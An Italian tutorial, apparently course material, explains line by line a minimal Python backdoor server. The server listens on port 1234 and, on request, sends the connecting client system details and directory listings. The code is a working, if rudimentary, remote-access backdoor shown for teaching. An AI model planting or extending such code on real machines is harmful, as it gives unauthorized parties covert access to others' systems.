

```
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234
```

- Importa i moduli `socket, platform e os`, che ci serviranno per andare ad utilizzare funzioni contenute al loro interno, per creare la backdoor. Crea due variabili `SRV_ADDR` riferita all'indirizzo ip del server e `SRV_PORT` riferita alla porta del server con cui ascolterà le connessioni in ingresso. `SRV_ADDR` assegna una stringa vuota, mentre a `SRV_PORT` assegna il numero di porta 1234.

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
```

- Crea una variabile `s` che sarà il socket, utilizzando `socket.socket()` e andando a specificare che il socket è di tipo IPv4 e che si tratta di un socket TCP. Con `s.bind` associa il socket all'indirizzo IP(`SRV_ADDR`) e alla porta(`SRV_PORT`). Utilizza `s.listen(1)` per mettere il socket in "ascolto" e per indicare (con il parametro 1) che il server può accettare una sola connessione in entrata alla volta.

```
connection, address = s.accept()

print("client connected: ", address)
```

- Con `s.accept()` accetta una connessione in entrata. `Connection` è il nuovo socket per la connessione con il client, e `address` è l'indirizzo ip del client. Successivamente stampa un messaggio per comunicare che il client è connesso con il suo indirizzo ip.

```
while 1:
    try:
        data = connection.recv(1024)
    except: continue
```

- Usa il ciclo `while True` infinito per ricevere dati dal client. Dentro `try` abbiamo la ricezione dei dati inviati dal client (massimo `1024 byte` alla volta).

```
if(data.decode('utf-8') == '1'):
    tosend = platform.platform() + " " + platform.machine()
    connection.sendall(tosend.encode())
```

- Abbiamo l'analisi dei dati ricevuti: se il dato ricevuto è `1`, invia al client informazioni sulla `piattaforma` (sistema operativo + architettura).

```
elif(data.decode('utf-8') == '2'):
    data = connection.recv(1024)
    try:
        filelist = os.listdir(data.decode('utf-8'))
        tosend = ""
        for x in filelist:
            tosend += "," + x
    except:
        tosend = "Wrong path"
```

- Se il dato ricevuto è 2, il server si aspetta un secondo messaggio contenente il percorso di una directory. Dentro a try ottiene una lista dei file nella directory specificata e nel ciclo for andiamo ad elencarli con la ",".

```
connection.sendall(tosend.encode())
```

- Invia la lista dei file al client.

```
elif(data.decode('utf-8') == '0'):
    connection.close()
    connection, address = s.accept()
```

- Se il dato ricevuto è 0, chiude la connessione corrente e accetta una nuova connessione.

Una backdoor è una porta segreta. Posso eludere tutti i sistemi di autenticazione e password, perché entro da una parte secondaria. Senza permessi amministratore, non posso andare a mettere la backdoor.